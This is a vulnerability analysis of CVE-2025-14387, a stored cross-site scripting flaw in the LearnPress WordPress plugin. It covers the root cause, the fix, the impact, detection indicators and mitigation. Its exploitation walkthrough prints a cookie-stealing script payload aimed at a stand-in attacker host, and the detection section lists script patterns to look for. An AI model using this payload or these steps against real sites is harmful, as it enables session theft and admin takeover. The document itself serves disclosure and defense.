CVE-2025-14387: 
WordPress vulnerability analysis and mitigation

CVE-2025-14387 is a Stored Cross-Site Scripting (XSS) vulnerability in the LearnPress – WordPress LMS Plugin, affecting all versions up to and including 4.3.1. The flaw stems from insufficient input sanitization and output escaping in the plugin's user profile social fields and extra profile fields. Authenticated attackers with Subscriber-level access or above can inject arbitrary web scripts that execute whenever any user visits an affected page. It was published on December 15, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). Specifically, the plugin failed to properly sanitize the user_profile_social and _lp_extra_info POST parameters before storing them in user meta, and did not escape the stored values on output. The fix, committed to the LearnPress GitHub repository, replaced raw array retrieval (LP_Request::get_array) with a sanitized parameter getter (LP_Request::get_param) and added esc_attr() escaping when rendering social profile icons (GitHub Commit). Exploitation requires only a valid WordPress account at Subscriber level or higher, with no additional preconditions such as special configuration or elevated privileges (Wordfence).

Successful exploitation allows a low-privileged authenticated attacker to persistently inject malicious JavaScript into WordPress pages served to all site visitors, including administrators. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims (including admin-level users), and potential site defacement or malware distribution. The changed scope (S:C) in the CVSS vector reflects that the injected script executes in the context of other users' browsers, extending the impact beyond the attacker's own session (Wordfence, Red Hat CVE).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the time of disclosure. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term (Wordfence). The low barrier to exploitation (Subscriber-level access required) does, however, make it a realistic risk on sites with open user registration.

1. Reconnaissance: Identify WordPress sites running LearnPress plugin version 4.3.1 or earlier with user registration enabled, using tools like WPScan or manual version enumeration via the plugin's readme.txt file.
2. Account creation: Register a free account on the target WordPress site (Subscriber role is sufficient) or use existing low-privilege credentials.
3. Navigate to profile: Log in and navigate to the LearnPress user profile page where social links or extra profile fields can be edited.
4. Inject XSS payload: Submit a crafted payload in the user_profile_social or _lp_extra_info POST parameters, for example: "><script>document.location='https://attacker.com/steal?c='+document.cookie</script> in a social profile field.
5. Payload persistence: The unsanitized input is stored in WordPress user meta (_lp_extra_info) via update_user_meta, persisting the malicious script server-side.
6. Trigger execution: When any user (including administrators) visits a page that renders the injected profile data, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (GitHub Commit, Wordfence).

• Database: Unexpected JavaScript tags or encoded script content stored in the wp_usermeta table under the _lp_extra_info or related LearnPress meta keys for user accounts.
• Logs: WordPress access logs showing POST requests to profile update endpoints (e.g., /wp-admin/admin-ajax.php or LearnPress profile URLs) containing <script>, javascript:, or URL-encoded equivalents in the user_profile_social or _lp_extra_info parameters.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages with LearnPress profile content, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected, as the payload is stored in the database rather than the file system.

Update the LearnPress – WordPress LMS Plugin to version 4.3.2 or later, which includes the security fix that adds proper input sanitization (LP_Request::get_param) and output escaping (esc_attr()) for social profile and extra profile fields (GitHub Commit, Wordfence). As a temporary workaround where immediate patching is not possible, administrators should disable open user registration to prevent untrusted users from exploiting the vulnerability. Additionally, a Web Application Firewall (WAF) rule targeting XSS payloads in profile update requests can provide partial mitigation.

The vulnerability was assigned and disclosed by Wordfence, which serves as the primary authoritative source. Sucuri included it in their December 2025 vulnerability patch roundup, recommending prompt updates for LearnPress users (Sucuri Blog). Community aggregators such as VulDB, Vulners, and CIRCL's vulnerability lookup service indexed the CVE shortly after publication, with no notable controversy or significant social media discussion observed.